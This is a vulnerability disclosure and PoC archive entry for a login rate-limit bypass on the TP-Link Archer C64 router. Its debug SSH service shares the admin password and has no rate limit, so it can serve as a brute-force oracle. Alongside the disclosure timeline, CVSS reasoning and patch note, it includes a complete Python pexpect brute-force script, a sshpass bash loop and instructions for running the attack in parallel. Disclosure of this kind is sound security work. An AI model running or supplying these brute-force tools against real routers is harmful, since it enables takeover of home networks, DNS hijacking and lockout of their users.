PoC Archive PoC Archive
Info unpatched

0001-01-01

Severity
Info
Category
Affected product
Disclosed
0001-01-01
Patch status
unpatched

Archive entry

intelseclab/poc-archive

CVE-2026-8697: Login Rate Limit Bypass on TP-Link Archer C64

CVE-2026-8697 is a logic flaw in the TP-Link Archer C64’s OS (called TPOS in the debug message). It lets any unprivileged user connected to the router to bypass the web UI rate limit by using a residual SSH service. A simple Python script can be used to try out many passwords in a short amount of time and obtain full admin access on the router.

POC: poc.py

The router has a debug SSH service which does not grant a shell to the router, rather it just exits when the correct password has been entered. But it uses the same password as the admin interface and has neither rate limits nor lockout policies. As such, it can be used as a high-speed authentication oracle to brute-force the password. This vulnerability can be used by malicious or compromised IoT devices on the network to gain full admin access to the router. An attacker cannot gain shell access through this interface, but they can easily verify credentials to compromise the primary web management interface.

This vulnerability has been patched in firmware version 1.15.0, which simply removes the service. To test your router, use this command (Linux/macOS):

1
2

timeout 10 nc -vz 192.168.0.1 22
echo $?

Replace the IP address with the address you use to connect to the router’s web interface. If the output is 0 or it shows succeeded! then your router is vulnerable. Otherwise, it is not. In Windows, run the following in PowerShell:

1

tnc 192.168.0.1 -Port 22

If it shows TcpTestSucceeded : True then your router is vulnerable. Otherwise if it hangs indefinitely or shows it as False then it is not vulnerable.

The bug is entirely logic-based and does not require memory corruption, ASLR bypass or winning race conditions.

Discovery and Reproduction

At the time, I was learning Nmap and for fun decided to scan my router. At that time I was not looking for vulnerabilities but I noticed an open SSH service.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

$ sudo nmap -A -T4 192.168.0.1
Starting Nmap 7.99 ( https://nmap.org ) at 2026-04-22 20:06 +0600
Nmap scan report for 192.168.0.1
Host is up (0.0028s latency).
Not shown: 996 filtered tcp ports (no-response)
PORT    STATE SERVICE    VERSION
22/tcp  open  ssh        OpenSSH 6.6.0 (protocol 2.0)
| ssh-hostkey: 
|_  1024 c3:db:85:33:94:d5:f7:c9:91:18:a0:73:5c:1a:aa:a5 (DSA)
53/tcp  open  tcpwrapped
80/tcp  open  http       TP-LINK router http config
|_http-title: Opening...
443/tcp open  ssl/https?
| ssl-cert: Subject: commonName=tplinkwifi.net/countryName=CN
| Subject Alternative Name: DNS:tplinkwifi.net, IP Address:192.168.0.1
| Not valid before: 2010-01-01T00:00:00
|_Not valid after:  2030-12-31T00:00:00
|_ssl-date: TLS randomness does not represent time
MAC Address: 78:8C:B5:25:3B:AF (TP-Link Systems)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Canon imageRUNNER C5185 printer or Mercusys AC12G WAP (96%), Canon imageRUNNER C2380 or C2880i or Xerox Phaser 8860MFP printer (92%), Fujitsu Externus DX80 or IBM DCS9900 NAS device (92%), VxWorks (92%), Avaya 4526GTX switch (92%), Nortel CS1000M VoIP PBX or Xerox Phaser 8560DT printer (88%), Aastra Dialog 4425 IP phone (87%), HP ProCurve 3500yl, 5406zl, or 6200yl switch or UTStarcom F1000 VoIP phone (87%), Apple AirPort Express WAP or AMX NI-3100 controller (VxWorks) (86%), Xerox ApeosPort-IV C3370 printer (86%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop

The log above shows an SSH service running OpenSSH 6.6.0 (a legacy version from 2014, but the version does not matter for this). Seeing the very old version, I suspected that it could be used by an attacker and tried to SSH into it with the intention of getting a shell and updating the firmware. At that point I was trying to secure my router, not to find vulnerabilities. However, connecting to it presented an interesting problem: the host key and public key algorithms were not supported on my version of OpenSSH. Using -o also did not work in my system, so I had to use a debian:bullseye-slim container which has an OpenSSH client supporting the diffie-hellman-group14-sha1 and ssh-dss algorithms.

Inside the container, after installing the OpenSSH client, I was able to connect to the SSH server.

1
2

ssh -o KexAlgorithms=+diffie-hellman-group1-sha1 \
    -o HostKeyAlgorithms=+ssh-dss root@192.168.0.1

I used this and was finally able to connect to the SSH server, which greeted me with the message TPOS 5 IPSSH Test and a password prompt. However, after entering the password, the connection just closed immediately. I even tried directly running a command but it did not run the command. I realized that there was no shell, so an attacker could not get access to my router. So my router is safe, right? Well, not really. I realized that even though you did not get any access, you did get to know if your password was correct or not. And that password was the same as the web interface password, and there were absolutely no rate limits or anything to stop a brute-force attack. That is when the idea of turning this into a CVE came to me. I tried to automate the attack. First I tried using sshpass in a bash loop but you could not use multiple passwords per connection, so I tried making a Python script. That is the attached POC.

To use the POC, first create a venv and install pexpect. Note that the script does not use Pexpect’s pxssh module since it does not support trying multiple passwords in a single connection.

1
2
3

python3 -m venv venv
source venv/bin/activate
pip install pexpect

Save the script to poc.py and run it. You can optionally pass in a path to a newline-separated password list as the first argument. If you don’t, it will use the numbers from 1 to 100 as passwords (for speed testing).

1

python3 poc.py list.txt

You can parallelize the attack by running multiple instances with different lists. If you run more than 3 instances, you will start to see connection errors. The script still makes sure all the passwords are tried.

1
2
3

python3 poc.py list1.txt &
python3 poc.py list2.txt &
python3 poc.py list3.txt &

Potential Impact

An attacker can use a malicious or compromised IoT device on the network to brute-force the password and gain admin access to the admin interface. There is no indication to the user that this is happening, and the attacker can do this for a long time without being detected. Once the attacker has access to the admin interface, they can change the DNS settings to perform DNS hijacking, change the Wi-Fi password to lock out users, use static routing to intercept unencrypted traffic or block network access by routing to a nonexistent IP, forward ports, turn off the firewall/ALG and more.

CVSS 4.0

The CVSS 4.0 attack vector for this vulnerability is:

CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:H

, which resolves to a score of 9.3 Critical. My reasoning for each metric is as follows:

  • Attack Vector (AV): Adjacent (A) The attacker has to be connected to the Wi-Fi network to exploit this.
  • Attack Complexity (AC): Low (L) The attack is straightforward and does not require any special conditions. A basic implementation of the attack can look like so:
1
2
3
4
5
6
7

while read pass;do
    sshpass -p "$PASS" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o KexAlgorithms=+diffie-hellman-group1-sha1 -o HostKeyAlgorithms=+ssh-dss -o PubkeyAcceptedKeyTypes=+ssh-dss -o NumberOfPasswordPrompts=100000 root@192.168.0.1
    if [ $? -eq 0 ]; then
        echo "Password found: $PASS"
        break
    fi
done < list.txt

(note that this is slower than the POC script since it does not try multiple passwords per connection)

  • Attack Requirements (AT): None (N) This is a purely logic-based bug and does not require any conditions such as winning a race condition.
  • Privileges Required (PR): None (N) No special privileges are required. Note that the requirement to be connected to the Wi-Fi network is already captured in AV:A.
  • User Interaction (UI): None (N) The attack can be performed without any user interaction.
  • Confidentiality, Integrity and Availability of Vulnerable System (VC,VI,VA): High (H) The attacker gets full admin access to the router, which constitutes a complete compromise of the confidentiality and integrity of the router. The attacker can easily make the router unusable in many ways and require physical access to fix it (eg using the Access Control feature to only allow a non-existent MAC address to access the admin interface and turning off Wi-Fi and changing the Internet settings to break internet access).
  • Confidentiality and Integrity of Subsequent System (SC,SI): Low (L) The attacker can intercept traffic using various methods (eg. changing DNS, using static routing), so it is not None. However, accounting for the fact that most traffic is encrypted, the impact on the subsequent system is limited. (Although I am unsure if this should be High or Low)
  • Availability of Subsequent System (SA): High (H) The attacker can easily break the internet access of all devices connected to the router.

CVSS 4.0 Analysis & Discrepancy

The vendor (TP-Link) published this vulnerability with a score of 8.7 (High) with the vector: CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

However, this research argues that the Subsequent System Impact should not be rated as “None.” Because the router acts as the primary gateway for all connected devices:

  1. Subsequent Availability (SA:H): Admin access allows an attacker to permanently block internet access for all connected devices.
  2. Subsequent Integrity/Confidentiality (SI:L/SC:L): DNS hijacking and routing manipulation allow for active traffic redirection and metadata harvesting.

Therefore, a more accurate representation of the risk to the home network is 9.3/Critical as discussed above.

Mitigation

Updating the router’s firmware to 1.15.0 Build 250729 or later will fix this.

Coordinated Disclosure Timeline

DateEvent
2026-02-26Vulnerability reported to TP-Link Product Security Team
2026-03-03Initial acknowledgement received
2026-03-14TP-Link confirms they are in the phase of verification and remediation
2026-04-22TP-Link says the vulnerability has been fixed in firmware version 1.15.0, but the firmware is not publicly available yet
2026-04-24Firmware is publicly available
2026-04-26Patch confirmed and CVE ID requested
2026-05-1590 day deadline reminder sent to TP-Link
2026-05-15CVE ID reserved
2026-05-29Public disclosure
2026-05-29Writeup published (this document)

References

This vulnerability was discovered and reported by Tanjim Kamal.

poc.py
python raw GitHub ↓ Download
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73

import sys
try:
    import pexpect
except:
    print("Please install pexpect: pip install pexpect")
    exit()
import time
sshcmd = ("ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null "
    "-o KexAlgorithms=+diffie-hellman-group1-sha1 -o HostKeyAlgorithms=+ssh-dss"
    " -o PubkeyAcceptedKeyTypes=+ssh-dss -o NumberOfPasswordPrompts=100000 "
    "root@192.168.0.1")
      # "root@127.0.0.1 -p 2222")

def tryPasses(passes):
    if len(passes)==0:return 0,False 
    child = pexpect.spawn(sshcmd,encoding="utf-8")
   # child.logfile=sys.stdout

    for i,e in enumerate(passes):
        child.expect('password:')
        child.sendline(e.strip())
        index=child.expect([
            r"closed\.",
            "again.",
            pexpect.EOF,
            "(password).",
            "port 22"])
        if index==0:
            print("Found: ",e)
            return i,True
        if index==1:continue
        if index in [2,3,4]:return i,False
# The previous line looks wrong, but if the last password attempt is correct,
# the server still lets the user in (then kicks out)
    return i,False
idx=0
passes=[]
if "--help" in sys.argv:
    print(f"""Usage: {sys.argv[0]} [path-to-passwordlist]
If password list is not given, uses the numbers from 0 to 99.""")
    exit(0)
if len(sys.argv)==1:
    print("No password list given, using integers from 0 to 99")
    for i in range(100):
        passes.append(str(i))
else:
    print("Loading password list...")
    with open(sys.argv[1]) as f:
        passes=f.readlines()

rpasses=passes[idx:]
print("Trying passwords...")
while idx < len(passes):
    rpasses=passes[idx:]
    res=-1,False
    try:
        res=tryPasses(rpasses)
    except KeyboardInterrupt:
        exit(0)
    except Exception as e:
        res=-1,False
        print("""WARNING: An attempt failed. 
If running 3 or more processes this is normal. Waiting 1 second. Error:""",e)
        time.sleep(1)
#    print("currently on:",idx)
    #print(res)
    if res[1]:
        exit(0)
        break
    else:
        idx+=res[0]+1
print("Password not in list")
exit(1)